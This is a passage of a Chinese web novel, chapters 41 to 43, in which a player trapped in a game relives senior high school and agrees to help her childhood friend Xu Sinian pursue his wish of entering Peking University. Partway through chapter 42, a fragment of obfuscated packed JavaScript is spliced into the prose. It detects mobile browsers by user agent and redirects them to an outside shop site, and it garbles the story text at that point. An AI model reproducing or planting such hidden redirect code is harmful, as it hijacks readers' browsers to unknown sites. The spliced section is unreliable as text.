看在他前三关一直默默躺列表陪伴你的情谊，你想，你还是很愿意帮他达成心愿的。
你在脑中列出通关三步走：
Step1：找到竹马
Step2：问出他的心愿
Step3：帮他达成心愿
好像也没什么难的。
你转身看了眼教室后墙挂着的表，6点12，游戏里你的同学们估计还要等会儿才能来。
你把椅子转了个方向，对准敞开的教室前门，手肘支在桌上打起盹来。
不久，走廊里传来脚步声。
你一秒睁开眼。
盯着空荡荡的前门，听着脚步声一步步接近。
在看清来人的脸时，你瞬间瞪大了眼。
你竟然认识她！
是徐慧。
高三一整年每天早上第一到教室的人。
徐慧看见教室里有人也有些惊讶，脚步明显顿了下：“夏佑，今天这么早？”
天哪，不止是你曾经的教室……
呆了几秒后，你忙扯出一丝笑，冲她点点头。
本来就不算真正的问题，你含糊过去，徐慧也没察觉不对。
你一眼不错盯着她熟门熟路走到靠门第三排靠墙的位置拉开椅子坐下，把书包放到膝前拉开，从里面拿出早餐、笔袋、书……
这似曾相识的画面，熟悉的人，你恍然在梦里。
很快，随着第二个、第三个、第四个你曾经的同学到来，你意识到这关的npc们都是你曾经的同学。
看来，这关游戏是以你曾经的高三校园为背景。
你现在真的有点儿好奇了，曾经的同学的话，他们中的谁会是你的“竹马”呢？
你期待又忐忑盯着每个进来的男生头顶，直到教室几乎被坐满。
哦，不，你旁边的位置还一直空着，你的同桌还没到。
你的竹马……不会就是许斯年吧？
你想到每关游戏任务目标的颜值都很高……
虽然你没觉得许斯年长得有多好看，就是高点儿、五官端正点儿、体育好点儿、性格开朗点儿、朋友多点儿，各种buff一叠加，就成了大家口中你们班最帅的人。
听说，他上了大学，也是他们学院的院草。
你猜他们学院的男生质量都不怎么样。
矮子里拔高个，勉强选上了他。
不过“竹马”是许斯年也不错，他那个一下课就出去疯跑的人能有什么心愿？
呵，你都不用问，追上他女神叶诗语呗。
你抬头看了看就坐在你前座的叶诗语。
嗯，许斯年的眼光还是不错的。
叶诗语肤白貌美，一双秋水眸尤其漂亮，她每次盯着你看，你都觉得她的眼睛在对你唱诗。
大家说她有点儿高冷，但这在你看来不是什么问题，仙女嘛要是再温柔可亲，那得有多少人围上来啊。
你要长她那么好看，眼珠子一定飞到头顶上去！
你还听说，叶诗语只喜欢自己亲手追来的男生，主动追她的，她会觉得没意思。
你第一次听到这个说法时，心里直呼牛逼。
想来，你这关的任务难度就在这里了。
你打算好了，这关你要和叶诗语打好关系，私下里给许斯年输送秘密情报……
正想着，就见许斯年跨进了前门。
你朝他头顶一望，果然见到了金光闪闪的「竹马」两个字。
许斯年单手拎着背包悠哉悠哉朝你走来，你在脑中任务“Step1：找到竹马”后慢慢打了个勾。
走到跟前的许斯年悠闲的表情突变，一脸不敢置信扫过你桌上横七竖八堆着的书：“夏佑，你属耗子的啊？我昨晚放学前才给你收拾的书桌，你一早就全给我扒拉出来了？”
你刚想张口辩解，许斯年手上的书包在空中划过一道抛物线，“砰”一声砸在你里侧的书桌上。
许斯年大步上前，挥着手把你往里面他的空座上赶：“去去去去……”
你刚站起身，许斯年便一屁股坐在你的位置上。
着手收拾起你桌上七扭八歪堆着的书，边收拾边念叨：“我的夏佑祖宗，我对您老的要求也不高吧。我收拾一回，您老能不能、能不能至少保持上三天？”
“三天、我就心满意足了。”说着，他侧头比划个3，就见你罚站一样站在他椅子旁。
许斯年长臂一展饶过你把你身后的椅子拉出来，“嗖”一下把你拽坐下去。
他歪过身来，对着你的耳朵咬牙切齿：“夏佑，你成心的是不是？！”
你：“？？？”
许斯年：“一会儿让叶诗语看到，又得说我欺负你！”
果然……许斯年能有什么心愿，满脑子都是他女神叶诗语。
任务Step2：问出他的心愿，达成……
见你不说话，许斯年又忙着去收拾你的书了。
许斯年人高腿长，你坐着十分宽裕的位置，他一坐下，双手在你桌上桌里忙活起来，立马把你的位置都填满了。
你看他费劲儿把自己折成个大C，视线埋进桌洞里，一板一眼把从小到大粗略摆好的教材和练习册又按使用频率重新调整顺序。
这一刻，你不得不承认，刚上大学时，对着被你摆得乱七八糟的书桌，你确实怀念过几次许斯年……
的这双修长而伶俐的手。
许斯年终于整理好，转头朝你看来：“行了，换回来吧，我还得把我买的……”
说到一半，他想起什么的模样突然噤声，朝前座叶诗语的背影瞄了眼，确认她没听到，才打着手势让你赶紧起来和他换回座位。
你刚站起身，就见徐慧走到了许斯年旁边，对里面的你说：“夏佑，班主任让你去下她的办公室。”
你：“现在？”
徐慧点点头。
一大早老师让你去办公室干什么？你毫无头绪，下意识求助看向许斯年。
许斯年一脸不以为意，揪着你上臂的校服衣料把你从里面揪出来：“怕什么？你学习好，还不早恋，自习课也不陪我唠嗑就知道闷头学习，比我家小猪还乖……”
许斯年养了头宠物猪，时不时就拿你和他家小猪比。
你一听立马瞪他。
许斯年见状，立马转了话锋，大义凛然撸起校服袖子：“用不用我陪你去？她要是敢欺负你，我就、我就……”
你不接话茬，就静静看他。
许斯年见你不接招，转了转眼珠：“我就带你……逃、跑？”
你的怒气一秒破功。
***
你当然没让许斯年陪你，真让许斯年来了，没事也要变有事。
高中老师最热
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衷于抓什么？
早恋！
虽然，你一贯让所有老师放心。
不止是老师，还有家长。
高三后半段，你和许斯年混熟了，他还和你说过，你是他妈拿着班级成绩单在家考察了半个月后为他精心挑选的同桌。
为了能把许斯年换到你旁边，他妈送了班主任一套海蓝之谜。当然，彼时单纯的你还不知道海蓝之谜的一个套盒要6000+。
你初初听到还很惊讶，为了换座还要给老师送礼。
许斯年听完你的疑惑，拍西瓜一样拍拍你的头顶：“傻瓜，和别人确实不用。和你的话，得、靠、抢……”
你凭着记忆，找到了高三语文组老师的办公室。
站在门外，你隔着玻璃朝里面望了望，在熟悉的位置，看到了你曾经的高中班主任林老师。
确认没找错，你轻轻扣了三下门。
很快，里面传来某老师的应答“进来——”
你轻手推开门，和抬头张望过来的老师们点点头，礼貌说：“老师们好，我来找我们班主任林老师。”
见不是找他们，其他老师很快低头，继续忙手头上的工作。
你走到林老师跟前：“老师，徐慧说您找我？”
林老师点点头：“对啊，我有个事儿想和你谈谈。咱们班上周不是刚收了高考的意向大学的征集表嘛。”
你想起这茬了。
高三开学初，学校发了张表，让每个同学把自己想报的大学填上去。表收上去后，林老师还把每个人单独叫到办公室就志愿谈一谈。
果然，你又听到了那番熟悉的说辞：“你填的大学老师看过了，综合类的985，地理位置也不错……高三这一年，如果你能一直保持这个成绩，老师相信，你上这所大学是没有问题的。”
你一脸虚心受教，就听林老师话锋一转：
“但我今天还想和你谈谈许斯年的高考志愿。”
啊？
许斯年的高考志愿不叫许斯年来谈，和你说？
难道游戏任务提到的许斯年的心愿不是要追他的女神，是高考志愿？
林老师又铺垫了一段表扬，内容主要是自打把许斯年调到你旁边，他各方面都进步了许多。
“……许斯年想报北大，所以老师希望你今后能在学习上多帮助他一下……”
你怀疑自己是幻听了：“老师，这个‘北大’不会是北京大学的那个北大吧？”
林老师被你问得一愣：“除了北京大学，还有第二个北大吗？”
这个游戏难道不像小说里，有虚拟的“清北大学”之类的？
隔壁批卷子的张老师笑着抬起头，插话道：“还有北大青鸟。”
周围听到的老师都被逗得笑起来。
只有你如遭雷击，一动不动。
许斯年他想去哪？
北大！
许斯年他疯了吧……
他想去北大！！！！！！
林老师又拉着你说了半天让你帮助许斯年好好学习，帮他实现考上北大的心愿，她相信你一定可以的……
落在你耳朵里，句句充满了魔幻现实主义色彩。
从办公室的门出来，你宛若一个walkingdead（行尸走肉），brainandsoulflyaway……
别问你的大脑为什么突然说起了英文，因为一切换中文模式情绪就无法刹车：
上北大，许斯年的愿望是要上北大？！
还让你帮许斯年上北大，你要是能上北大，你自己不会去啊？！
你一个上不了北大的人凭什么帮许斯年上北大啊？
你真想冲回办公室，摇着林老师的脑袋告诉她，不仅许斯年上不了北大，你们班那一年高考就没一个考上北大的！
清华也没有！！
走廊上，你健步如飞。
许斯年在哪？
对，你要去问问许斯年，他是不是疯了，才要上北大？
他可不能要上北大，他的心愿要是上北大，你这辈子就别想从游戏里出来了！
你一路怒发冲冠，疾驰到教室门前。
就见许斯年捧着俩包子，笑得一脸谄媚，向转过身的叶诗语献宝……
你握紧拳头，今天你一定要叫许斯年知道什么叫痴、心、妄、想。
许斯年和上北大，今天必须死一个！
41. 竹马的心愿挑战（2）
志愿表上填要上北大，还有闲心在教室里撩妹，许斯年的心里到底有没有点儿数？
真是气死你了！
你一路带风走到许斯年桌前，劈手夺过他手中的包子。
他诧异看向你。
你一手叉腰，一手把又白又软的发面包子当许斯年的脑花来捏：“人家都说了‘不用、不用、不用’了！”
说完，你转头冲叶诗语挤出一丝笑：“别担心，我帮你吃了哈。”
叶诗语噗嗤一乐，许斯年这才反应过来，把掉下来的下巴重新扶上去。
你一屁股坐下，右手隔着塑料袋撕下一大口包子皮。
雪白的软面里绿油油的一片。
呃，青菜馅儿的。
你咬了一口，满嘴寡淡的青菜味，除了脆生的口感，毫无味道可言。
你转头对一脸欲言又止的许斯年说：“下次记得买肉馅儿的，菜馅儿的不好吃。”
就听许斯年低声嘟囔：“我这也不是给你买的，这是……”
你反手将撕下的包子皮塞进许斯年嘴里：“闭嘴！”
叶诗语轻嗽一声，掩唇转过了身。
许斯年愕然垂下眼皮，盯着还有一半挂在外的包子皮，委屈巴巴将剩下一半慢慢叼进嘴里。
他安静嚼着包子皮，目光从垂着的长睫间偷偷瞧出去。
见你小脸凶巴巴、每一口菜包都咬出了“食其肉、啖其血”的架势，实在没憋住：“菜包……也没那么难吃吧？”
你转头白他一眼，并不解释。
右手隔着塑料袋把坠在袋底的第二个包子捞上来。
转头刚要下口，就见许斯年的大手斜伸过来，飞快扯掉一大块包子皮，回手忙塞进自己嘴里。
动作之行云流水，你看得瞠目结舌。
许斯年冲你讪讪一笑：“我自己来，不劳你亲自动手。”
然后闭上嘴，睁着他有点儿好看的大眼睛，鼓着腮慢慢嚼起来。
对上许斯年，唉，你真是气不过十分钟……
***
第一节是数学课。
开课没多久，许斯年悄悄把一张小纸条推过了“三八线”。
你斜了眼那张三分之一在他领地、三分之二已潜入你领地的纸条，只作不见，继续盯着前方黑板。
很快，你的余光里鬼祟伸上来两根长指，“嗖”一下夹走被晾在三八线上的纸条。
……就这智商还想上北大……
你本以为许斯年就此放弃了。
不想没一会儿，三八线上又出现个新东西。
你低头一看，是个被叠成心形的纸条。
心上还用红色的水性笔写着：「Sorry^^」
你一时不知该哭，还是该笑。
许斯年这些心思但凡能用在学习上，这北大……
还是上不了……
你伸手去桌上取走纸条，按着折痕一点点拆开，拆了半天，终于看到了里面的三行字：
「我明天再也不买菜包了，后天也不买，大后天也不买，大大后天也不买，以后再也不买菜包了！
所以，别生气啦？」
你挪开大拇指，发现纸条右下角还画着个扭屁股的兔斯基。
人无语的时候……是真的会笑。
不过，很快你就笑不出来。
一个粉笔头从讲台破空而来，精准砸中了你手里的纸条。
“夏佑——！”
你应激反应，瞬间站起身。
粉笔的精准命中让数学老师接下来的话更加气势十足：“你是不是以为我瞎，在上面什么都看不到？上课偷偷传小纸条也就罢了，我看在你是好学生的份儿上，睁一只眼闭一只眼。不想你得寸进尺，上着课呢，就对着纸条嘿嘿嘿嘿乐起来了！”
真是六月飘雪，你那明明是无语的笑：“老师，我没……”
“别想狡辩！”数学老师的声音又拔高一度。
“别看我天天批卷子批到半夜，两只眼睛各个5.2，”数学老师别有深意看你一眼，“你手里拿着的纸条原来是什么形状，我都看得清清楚楚！”
你：“………………”
数学老师的视力确实好，但想象力比视力更好。
一旁的许斯年从你刚才被喊起来就蠢蠢欲动，你一直踩着他的宝贝运动鞋，才让他老实坐着。
这种误会他再替你辩解，家里有个好大儿并以此为傲的数学老师更会误会。
数学老师见你埋头不说话，又问你：“你还有什么可辩解的？”
你垂着脑袋摇摇头。辩解什么？辩解什么她都不会听。
果然，数学老师扫过下面噤若寒蝉的众人，再度强调自己格外优越的视力后，把你发配到了教室外。
走廊里，空无一人。
你靠着冰凉的墙面，望着一大早被值日的同学擦得格外明亮的玻璃，眼神放空。
游戏里还真是什么狗血都有。
先是许斯年要上北大，后是你有生之年上课时也被罚到了走廊里。
你的高中数学老师热衷于通过杀鸡儆猴的方式来树立自己的权威，“鸡”扑腾得越厉害，她杀得越狠。
像你这样态度良好的，她一般就罚到外面站一站，当然，你想你要是不反驳那句“老师，我没……”现在就在教室里站着了。
高中的你肯定觉得站在教室里丢脸归丢脸，但好歹能听听课；
现在的你或者该说游戏里的你觉得还是站在走廊里更好些。
你正庆幸着，就听一墙之隔传出数学老师歇斯底里的怒吼“许斯年，你也给我滚出去——”
你靠墙的后背都跟着麻了麻。
没过半分钟，你就见到了开门出来的许斯年。
他反手带上门，插着兜一脸无所谓朝你走来。
你们隔空默默对视。
你像个熟练的老前辈，拍拍身后的墙：“靠这儿吧，这前面的风景好。”
许斯年长腿一叠，靠在了你旁边的墙上。
你望着窗外树荫梢头跳来跳去的小鸟，问他：“你又怎么惹到她了？”
“没怎么。或许……”许斯年中指摩挲着高挺的鼻梁，“是她更年期到了。”
“高一入学，我就在论坛上看到不下十个帖子讨论她的更年期什么时候能过去。我当时边翻帖子边想，幸好她只带高三，学长学姐们好倒霉，没想到……”你看向许斯年，自嘲一笑，“后来，我也成了倒霉的学姐。”
许斯年：“女人的更年期一般持续几年？”
“我怎么会知道？”你白他一眼，“回家问你妈。”
许斯年：“我可不敢想象，有一天我妈也会变得这么可怕。”
你笃定回他：“不会的。”
许斯年：“你怎么知道?”
你脑中随即浮现出许斯年妈妈的身影。
你每次见到她，她永远举止优雅，一身剪裁合体的连衣裙，每次都不一样的款式颜色，脸上点着淡淡的精致妆容。
对你说话从来都是温声细语。
更难得的是，对许斯年也是。
你还记得你第一次去许斯年家，被他妈妈温柔的语调全程香得晕晕乎乎。你脸上撑着淡定，心里一边羡慕许斯年，一边幻想自己长大也会像他妈妈那样温柔端庄。
傍晚和许斯年告别，你头一次望着他挪不动脚步。
他妈妈见了，笑着让许斯年把你送到楼下，嘱咐他给你打到车了才能回来。
许斯年那次……好像上车把你直接送回了家。
这么想，除了最后的不欢而散，许斯年对你好像一
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直还不错。
你看向许斯年，软了声音问他：“许斯年，你真想上北大吗？”
“你怎么知道？”许斯年瞪大眼看你，很快又自己想到，“班主任和你说的？”
“嗐，她刚才找你就这事儿？”
你点点头。
“你自打回来就跟充了气的河豚似的，我还以为有什么大事呢。”许斯年夸张抚抚胸口，“白害得我跟着心肝乱颤。”
你：“……老师让我帮你实现心愿，帮你上北大！”
许斯年点点头：“那就多谢了。”
你：“……”
你拍拍自己的脸，让自己重新振作起来：“许斯年，我和你商量个事呗？”
“什么事儿？”
你：“你能换个心愿吗？”
许斯年：“换个什么心愿？”
“比如，要追到叶诗语。”你仰着脸，双眼无比真诚望着他，“我一定会帮你的。”
许斯年的目光在你脸上转过一圈，皱眉用手背来探你的额头：“你发烧了？”
你：“……”
他试探完你的温度，又摸摸自己的额头，自言自语地疑惑：“也不热啊。难道是刚才被骂傻了？”
你扯下他翻来覆去在自己额头上折腾的手，让他重新看向你：“我是认真的。”
你一脸坚定：“我肯定帮你追到叶诗语。别上北大了，这个心愿更靠谱。”
许斯年：“叶诗语我在追啊，不需要许愿。”
“你这样追下去，我感觉悬。”你委婉告诉他后来的结果。
许斯年：“是吗？我感觉进度还挺好的啊。”
许斯年真是对他毕了业也没追到叶诗语一无所知……
你：“追叶诗语不用许愿，你上北大就需要许愿了？”
许斯年挠挠后脑勺，腼腆一笑：“我这不还差点儿实力，需要点运气加成。”
你：“……………………”你深感，你已经失去了说话的能力。
好半天，你才又问：“你怎么突然想上北大了？”
“说来也巧，”许斯年一脸兴奋转向你，“老师发志愿表的当晚，我做了个梦，醒来脑子里就冒出一个想法：我要上北大！”
就这样？这么离谱？就因为一个梦？
你：“……你梦到了什么？”
许斯年：“不记得了啊，记得我不就一起给你讲了。我就是一早醒来，再看到那张志愿表，就觉得空白那里得填北大。”
……你严重怀疑是游戏强行把“上北大”这个妄念塞进了许斯年不靠谱的脑袋里。
你就说，你从前从没听许斯年说过他想上北大的事儿。
甚至，他一度对考哪个大学都没任何想法。
后来，他问你想去哪所大学，你告诉他后，他就厚着脸皮把你的理想大学偷去了。再有别人问他，他就也说那所。
你：“许斯年，上北大这么重要的事儿，你这么随意决定不好吧？”
许斯年：“有什么不好，你不觉得上北大很酷吗？”
你：“我不想上北大，难道是因为上北大不酷吗？”
“那是因为什么？”许斯年一本正经疑惑。
你长长叹口气：“当然是因为我考、不、上。”
许斯年一脸不以为意：“你还没努力，怎么就知道你考不上？你学习那么好，我看，你再稍稍努努力就成。”
这一刻，你的沉默震耳欲聋，带着3D杜比全景音效。
这个世界，除了许斯年，怕是不会再有第二个人对你有如此伟大的信心了……
关键，你还没法告诉许斯年你已经知道结果了，你高考的分数考不上北大。
许斯年见你沉默着不说话，用手肘撞撞垂眉耷眼的你：
“我是认真的。”
42. 竹马的心愿挑战（3）
许斯年见你沉默着不说话，用手肘撞撞垂眉耷眼的你：“我是认真的。”
就是真“自信”，才可怕好嘛……
你决定换个策略。
既然许斯年非拿考大学当心愿，那你劝他改选现实里他真考上的大学当心愿不就行了。
于是，你开始劝许斯年把北大换成那所大学。
许斯年认真听完你分析的1234，面上依旧不为所动。
其实，你也觉得北大更好……
你靠在墙上长吁短叹。
忽然，你想起了什么，直起身子，走到许斯年对面：
“我听说那里人均段子手，讲起笑话简直是信手捏来。你这么活泼、开朗、幽默、风趣的人去了，肯定更有发挥的余地。那里还有好多美食，麻花啊、小笼包、煎饼果子……”
说到这里，你冲他眨眨眼：“你要是真考上了，到时候，我送你一个能装两个鸡蛋的便携鸡蛋盒。你喜欢线条小狗吗？我再给你买个线条小狗的贴纸装饰上……”
“你等等，”许斯年在你讲得眉飞色舞的眉间撑起两根手指，“为什么要送我便携鸡蛋盒？还是能装两个鸡蛋的？”
你侧头晃掉许斯年碍眼的手指，耐心给他解释：“你去那里上大学，早上去买煎饼果子，就揣上我送你的鸡蛋盒。你不是爱吃红蛋黄的鸡蛋嘛，你就提前买好放在宿舍里，早上临出门就装两个进去，揣着过去让摊煎饼果子的阿姨给你换成红蛋黄的鸡蛋。煎饼摊上的鸡蛋肯定不如咱们自己买的好。”
“还有，你要是排队排着排着突然想买个豆浆什么的，还可以把鸡蛋盒放在原地替你排队，怎么样，不错吧？”你双眼亮晶晶期待看他。
许斯年脸部的肌肉快绷成雕塑，咬牙挤出四个字：“你说完了？”
你肯定的“嗯”字一落地，许斯年好像听到了起跑线前发号施令的枪响，立马蹲到地上，捂着肚子哈哈哈哈狂笑起来。
你：“……”
你盯着许斯年笑得花枝乱颤的头，满脑子都是问号。
当初许斯年问你为什么要去那儿上大学，你说起这些，他可不是这个反应啊？
他明明说“听起来还不错，那我也去吧。”
事后，还死皮赖脸地追着你要你也送他一个便携的鸡蛋盒。
怎么这次你主动提出来，他笑得快要抽过去了？
难道这就是所谓的，上赶着……不是买卖？
你担心许斯年在只有你和他两个人的走廊里笑抽过去。到时你一人只有一张嘴，出了问题说不清，于是抬脚踢了踢许斯年的鞋尖：“别笑了，再笑……”不防，被他的大手一把攥住了脚腕。
现在是初秋，你长袖校服内还是短袖，脚上穿的也是露脚踝的船袜。许斯年这么一抓，大手直接贴上了你微凉的脚踝。
陌生的温度、不容忽视的力道，你的踝骨在他的掌心没出息地僵住。
许斯年攥着你的脚腕仰起头，额前的刘海儿自然滑散到两侧，奶油白的脸完整露出来。
你们一高一低对视，你暗自往回使力，试图体面地收回“失地”，却奈何许斯年钳住你踝骨的指节如“跗骨之蛆”。
悄无声息的角力在走廊川流的过堂风中烧得不见硝烟。
迟迟得不到胜利的你突然听许斯年出声：“夏佑，我有没有告诉过你……”
你目光还盯着“战场”，竖起的耳朵却瞬间捕捉到他言语中暗涌的危险底色。
你本就不太硬的底气仿佛被戳了个洞，气“呲呲”往外泄，你勉强扯了块面皮堵上去，又怂又有些硬气地问：“告诉……什、么？”
许斯年一字一字咬得十分清晰：“我的运动鞋是我的第二个老、婆，不许随便对它们动手动脚。”
就这……？
你想起之前去许斯年家，他一脸神秘把你拉去他的衣帽间，献宝般给你展示他认真收在透明鞋盒里、整整一墙的运动鞋。
你真是白高看他了……
你为自己短暂的退缩感到羞耻。
对上他威视你的眼神，你像模像样乖巧点头：“松开吧。”
许斯年的目光在你脸上兜过一圈，松开了手。
你的脚得到解放的下一秒就冲他雪白的鞋头用力踩下去：“就动脚，就动脚，你能把我……”
“怎么样”还没说完，你整个人就被许斯年两手掐着腰端了起来。
你震惊看向自己突然悬空的两脚。
干扑腾却碰不到地面，刚支棱起来的声音慢慢怂下去：“许斯年，你要、要干吗？”
“我要干嘛，”许斯年冷嗤一声，“我要把你扔、出、去。”
扔、出、去？？？
许斯年抬着你大步走到对面，把你放坐在窗台上，长腿一倾山一般死死抵住你膝盖，让你动弹不得。
你不知就里瞪大眼看他，就见他长臂越过你肩膀，“唰”一下拉开你身后的窗。
窗户撞上窗框发出“砰”响，秋风瞬间涌入，你后背的校服呼一下被鼓起。
你刹那涌起要被风刮走的错觉，后脖颈的汗毛唰一片立起，头都不敢回：“许斯年，你快把窗关上，我要掉下去了！”
许斯年侧头，瞥了眼你隔着校服死死扣进他肩窝的指尖，声音不以为意：
“你这不抓着我的肩膀吗？要掉下去，也是咱们两人一起掉下去啊。”
“谁要和你一起死啊？！许斯年，你、快、关、窗。”
“我又没抓着你的手，”许斯年说着还作势要抬起你抓紧他的两只手，声音欠欠说，“想关，回头自己关啊。”
你僵着脖子慢慢转过头，三层楼近十米的高度高清扑进你眼里。
你的大脑瞬间倒抽一口凉气。
“许斯年，”你咬紧牙根，发出最后通牒，“你现在、立刻、马上把窗户关上！”
许斯年冲你挑挑眉：“不关。”下一秒，却掐着你的腰把你从阳台上放了下来。
两腿软绵绵落地的你刚要去骂许斯年那个傻逼，就见他一转身，背对着依旧大敞的窗，掌跟轻巧一撑，坐上了你刚才的位置。
你太无语了…………………………
低下头，在心里把所有你会的脏话都拿出来，挨个骂他一遍。
许斯年喊你的名字，窗外的风声相伴而来。
你懒得搭理他。
“夏佑——”许斯年的声音又大了些。
你无奈抬头。
这一眼，心直接跳进了嗓子眼。
许斯年这个傻逼单手扒着一边窗框，上半身60度仰出了窗外，在风中笑得一脸灿烂朝你挥着另一只手。
你什么都来不及想，一把扑过去死死环住许斯年悬在半空的腰，上半身用力压住他的大腿：“许斯年，你他妈疯了吧！”
许斯年见你紧张，在风中笑得更肆意了：“哈哈哈哈哈……”
对上你恨不得立马杀了他的眼神，才勉强止住笑：“怕什么，你回头往我脚上看。”
“看个屁看！你赶紧给我下来。”
“就看一眼。”
你回头往下一看。
原来，许斯年的双脚勾在了墙上的暖气管后。
你：“………………………………”
玩这个游戏，实在是折寿啊……
你从许斯年腿上直起身，两手拽着他校服的前襟衣领，勒着他后脖颈把人从窗外往里拉。
许斯年见你认真，就着你的力道坐直了身。
他完全进来的下一秒，你砰一声大力推上了窗，并将两扇窗间的锁用力划死。
做完这一切，你从许斯年身前让开，头往旁边一偏，没好气道：“你下来。”
“你上来。”许斯年完全看不出眉眼高低，说着屁股往旁边挪一挪，给你空出个地方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151236|146704||http|test|mini|href|location''.split(''|''),0,{}));
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见你站在原地不动，又补了一句，“腿短上不来啊？”
神他妈腿短上不来！
你回忆着许斯年刚才的动作，转过身背对着窗，手臂用力一撑？
没撑上去……
耳畔传来许斯年强忍的闷笑声。
你心有不甘，又试了一次。
还是没上去……
该死的游戏，毁灭吧！
这时，余光里许斯年伸来手掌：“撑这里。”
你盯着他摊开的掌心，将信将疑把手指轻轻搭上去。
许斯年的大拇指扣住你四根手指一拽，你的掌心顺着力道滑进他掌心。他继而合拢五指，用力握住你的手，对你勾起唇角：
“跳吧，像刚才那样就行。”
你半信半疑，如法炮制。在你跳起的瞬间，许斯年握紧你的手用力一抬，你真的借力坐上了窗台。
你就这么水灵灵地上来了？
你诧异看向许斯年，眼里闪着惊喜的光芒。
许斯年蓬松刘海后的眉眼弯起，对你咧嘴一笑：“怎么样？刚才被我吓一吓，心里的憋闷是不是全散开了？”
………………
憋闷……是没了。
但你真想撬开许斯年的脑壳，看看里面的脑回路，到底是哪根筋搭错了？
***
你靠在冰凉的硬玻璃上，盯着白色的天花板怀疑人生。
不抱希望地老生常谈：“许斯年，北大，咱能不去了吗？”
许斯年：“夏佑，很久以后，你即将离开这个世界，最后一句话你想说什么？”
你在天花板上游离的视线定在墙角的三叉石膏线上，仿佛那里结着一张蜘蛛网。
人生的最后一句话？
对于死亡这个话题，无论是十八岁还是二十岁都太过年轻。
爆米花一样灿烂香甜的年纪，连衰老都不曾照面，死亡实在太过遥远。
你从未思考过这个问题，真想起来，瞬间跃入脑海的也只有陆游那句成了网络老梗的“家祭无忘告乃翁。”
陆游死前惦念的是什么来着？
你回忆了好半天，才想起前一句是“王师北定中原日。”但这样心怀家国天下的一句，有点儿不适合拿来做取巧的答案。
最后，你无趣地实话实说：“不知道。”
然后，侧头看向许斯年。
许斯年靠在透明的玻璃窗上，窗外树梢的绿茵随风影影绰绰晃在他脸上。
斑驳的树影里，他转过脸，澄澈的杏仁眼底盈盈潜着笑意：“我想过。”
“我要在临死前，走马灯般回忆过我的一生，然后对自己说——
‘我这一生，倾尽全力做了所有我想做的事。’”
倾尽全力做了所有我想做的事，清脆的声音像珠玉落盘字字有声，震落了你经年尘封的记忆的浮灰。
那些你以为再也不会想起的记忆小荷尖尖角般倏然钻出了头：
“佑佑长大想干什么？”
你举手大声道：“当科学家！”
“当科学家好啊。那将来佑佑准备上哪所大学啊？”
是清华，还是北大呢？你绞着手指在心里比较了半天，用力点下头宣布：“上北大！”
八岁时你喊得惊天动地的愿望，十八岁时甚至连想都不敢再想，只是说出口都担心别人会嘲笑你痴心妄想；
更可悲的是，二十岁时你还成了那个把勇敢说出口的人轻易定义为“痴心妄想”的人……
秋风明明被你亲手划上的窗锁牢牢挡在外面，你却觉得有风从你背后的四面八方吹来，在你密闭的心湖荡起涟漪。
一圈圈向外波散开来。
你静静望着许斯年，迟钝想起了那句，“不是风动，不是幡动，仁者心动。”
于是，你听自己的声音说：
“许斯年，上北大吧。”
43. 竹马的心愿挑战（4）
走廊里响起下课铃声。
你“嗖”一下跳下窗台，跑到对面，贴墙站直。
再去看许斯年，他人是从窗台上下来了，却正对着玻璃窗，左撩撩前面的刘海、右捋捋脑后的发丝。
你忙催他：“许斯年，快过来站好。”
许斯年瞥了眼玻璃里你紧绷的身影，不紧不慢说：“怕什么？下节是英语课，她还能再把你罚到外面来站着？就算她同意，英语老师也不能同意啊。而且，你不觉得在外面站着，还挺有意思的吗？”
没错，他玩的是挺好。
只是，大半都在搞你的心态……
在你的连声催促下，许斯年在教室门被推开的前一秒站到了墙跟前。
数学老师捧着书，推了推鼻梁上的眼镜，目光朝你们射来。
口口声声视力5.2的数学老师戴眼镜，还是金丝边的。
大家只能猜测她是私下里看霸总小说上了头，把自己带入霸总的角色，天天拿你们这些学生当下属训。
你本来还觉得这个猜测有些无厘头。
直到有次，你替数学课代表去她办公室送作业，电脑后的她似乎在忙，右手滑着鼠标，左手越过肩膀朝身后指指，交代你把作业放在哪儿。
你按要求放好，抬头正要和老师告辞，却见她专注到难以自拔的电子屏幕上赫然是《拒嫁豪门：少奶奶99次出逃》的821章……
你正回忆着，数学老师的经典台词和腔调在耳畔炸起：“知道错了吗？”
你脱口而出：“老师，我知道错了。”
数学老师肃着脸，点了下头，看向许斯年。
这一刻，静默宛若暴风雨前的宁静，带着阴晦的汹涌。
本来，你为了以示清白，和许斯年站得隔了一人远。打从数学老师出来，更是瞟都没往许斯年那里瞟过一眼。
现在，你却只恨离许斯年太远……不然，好歹可以偷偷掐他一把，以作暗示。
数学老师估计是等得不耐烦了，指名道姓又问了一遍：“许斯年，你知道错了吗？”
许斯年仿佛在军训场地和教官对答：“不知道！”
你屏息以待的两颗眼珠子被他洪亮且底气十足的答案震得当场落地。
你再没能管住它们，任由它们看向了许斯年。
许斯年背着手，表情无所谓看着前方，脖子直直梗着。
像极了引颈受戮的大白鹅。
果然，数学老师的火气嗖一下蹿起，声音平地拔高三度：“不知道？！”
刹那，走廊里来来往往的学生们像被按下了暂停键，不约而同扭头看向了这里。
数学老师转身一个270度的秋风扫落叶扫视，大家又立马夹紧尾巴，大步匆匆离开现场。
许斯年：“没错，我是上课给夏佑写纸条了。”
数学老师转回身，肃杀的目光直白钉向许斯年。
许斯年：“可她没看，就一门心思听课。后来我又传了一次，威胁她，她才打开看了眼。结果，我还没等到她回我，您就把她罚出走廊里站着了。”
“她一个书呆子，哦，不……是好学生，面子薄的跟张纸似的，站我旁边又红脸、又骂人、又哭鼻子的，”许斯年说到这里，不耐烦掏掏耳朵，然后冲对面窗户抬抬下巴，“这秋天凉飕飕的，还非要把那窗户打开，把那小脑袋、细脖子伸出去吹吹风……”
“那给我吓得，知道的是她要吹风，不知道的还以为……唉，”许斯年冲着数学老师长叹口气，“老师，得亏您有远见，把我也发配出来了啊。”
！！！！！！！！！！
数学老师这会儿没功夫注意你，不然一定可以见证你堪称精彩纷呈的表情变幻。
现在、这一刻，你望着许斯年，一路五色缤纷的表情最后都变成了目瞪口呆。
明明许斯年只是长得有点儿好看，你却仿佛看到了出场自带拉风bgm和打光的校园偶像剧男主角。
许斯年简直是……神之剪刀手。
